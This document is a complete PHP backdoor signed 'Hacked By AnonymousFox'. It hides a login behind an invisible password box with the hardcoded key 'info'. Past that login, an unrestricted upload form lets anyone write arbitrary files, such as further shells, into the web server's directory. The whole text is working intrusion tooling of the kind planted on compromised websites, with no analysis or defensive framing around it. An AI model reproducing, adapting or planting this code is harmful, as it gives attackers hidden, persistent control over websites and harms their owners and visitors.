Hacked By AnonymousFox
<?php
$adminkey = "info";
session_start();
if(@$_POST['password'] == $adminkey){
$_SESSION['login'] = md5($adminkey);
}
if($_SERVER['QUERY_STRING'] == "logout"){
$_SESSION['login'] = "";
header("location: " . $_SERVER['PHP_SELF']);
exit();
}
$html_login = <<<EOF
<html>
<body>
<style type='text/css'>
input[type=password] {
width: 250px;
height: 25px;
color: white;
background: transparent;
border: none;
outline: none;
box-shadow: none;
margin-left: 20px;
text-align: center;}
</style>
<center>
<form method='post'><input type='password' name='password' autocomplete='off'><br>
<button type="submit" style="display:none;"></button>
</center>
</body>
</html>
EOF;
if(@$_SESSION['login'] != md5($adminkey)){
exit($html_login);
}
?>
<?php
if(isset($_POST['Submit'])){
$filedir = "";
$maxfile = '2000000';
$file_name = $_FILES['image']['name'];
$temporari = $_FILES['image']['tmp_name'];
if (isset($_FILES['image']['name'])) {
$abod = $filedir.$file_name;
@move_uploaded_file($temporari, $abod);
echo"<center><b>Berhasil ==> <a href='$file_name' target=_blank>$file_name</a></b></center>";
}
}
else{
echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>
Hacked By AnonymousFox1.0, Coded By AnonymousFox